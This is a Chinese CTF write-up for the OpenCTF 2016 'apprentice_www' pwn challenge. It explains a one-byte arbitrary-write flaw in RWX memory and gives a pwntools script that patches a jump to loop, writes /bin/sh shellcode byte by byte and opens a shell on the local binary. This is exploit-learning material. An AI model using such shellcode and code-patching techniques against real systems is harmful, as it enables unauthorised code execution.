【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www

0x01 解题思路

  • 查看文件基本信息
    【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www_第1张图片

  • IDA查看

    main
    【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www_第2张图片

    setup
    【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www_第3张图片
    调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限

    butterflySwag
    【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www_第4张图片
    在这里插入图片描述
    【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www_第5张图片
      接收两次用户输入,第一次输入v1为一个地址,第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节,需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下,使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式:跳转点地址-跳转指令的后一条指令的地址(单字节)。另外,输入的shellcode地址和shellcode单个字节都必须转成字符串。

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = process('./apprentice_www')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jnz_param_addr = 0x080485DA
shellcode_addr = 0x080485DB

io.sendline(str(jnz_param_addr))
io.sendline(str(0xc2))

for i in range(len(shellcode)):
	io.sendline(str(shellcode_addr + i))
	io.sendline(str(ord(shellcode[i])))

io.sendline(str(jnz_param_addr))
io.sendline(str(0x00))

io.interactive()

你可能感兴趣的:(i春秋_Linux,pwn入门教程系列,-,Writeups)